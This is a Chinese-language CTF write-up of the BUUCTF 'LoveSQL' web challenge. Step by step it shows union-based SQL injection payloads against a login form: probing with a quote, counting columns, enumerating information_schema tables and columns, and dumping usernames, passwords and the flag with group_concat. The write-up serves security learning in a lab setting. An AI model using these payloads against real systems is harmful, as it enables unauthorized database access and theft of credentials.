[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

打开靶机url，页面显示有两个输入框，框中输入123',发现两个框都有sql注入问题

爆出一下错误

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''123''' at line 1

尝试以下注入，爆出数据库名称

123'; database() #

返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'database() #'' at line 1

说明不能使用堆叠注入这么搞

尝试union注入

123' union select 1 #

返回

The used SELECT statements have a different number of columns

说明有戏！继续增加select字段常数的个数,最后到这个时返回正常

123' union select 1,2,3 #

返回

Login Success!

Hello 2！
Your password is '3'

说明展示的是查询的第二个字段和和第三个字段

构造sql

123' union select 1,database(),3 #

返回

Hello geek！

Your password is '3'

成功之道数据库叫 geek

再次构造sql查出表名

# 这里写不行，3 放到最后会爆语法错误
123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3 #
# 这样写ok，把子查询放到最后
123' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() #

返回

Hello 2！

Your password is 'geekuser,l0ve1ysq1'

推测flag内容在l0ve1ysq1,开始爆该表的字段

123' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

返回

Hello 2！
Your password is 'id,username,password'

有了表名和列名，就可以尝试把数据查出来，构造sql

123' union select id,username,password from l0ve1ysq1 limit 1 #
123' union select id,username,password from l0ve1ysq1 limit 2,1 #

返回

Hello cl4y！

Your password is 'wo_tai_nan_le'

说明这么搞ok

换种快速的方式

# 这样也ok，但是有点慢
123' union select id,username,password from l0ve1ysq1 limit 2,1 #
# 这样更ok，快一点
123' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

返回

Hello 2！

Your password is '1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{172a03e1-ad34-4139-8e61-8cb1c747e4a8}'

boom 获得flag flag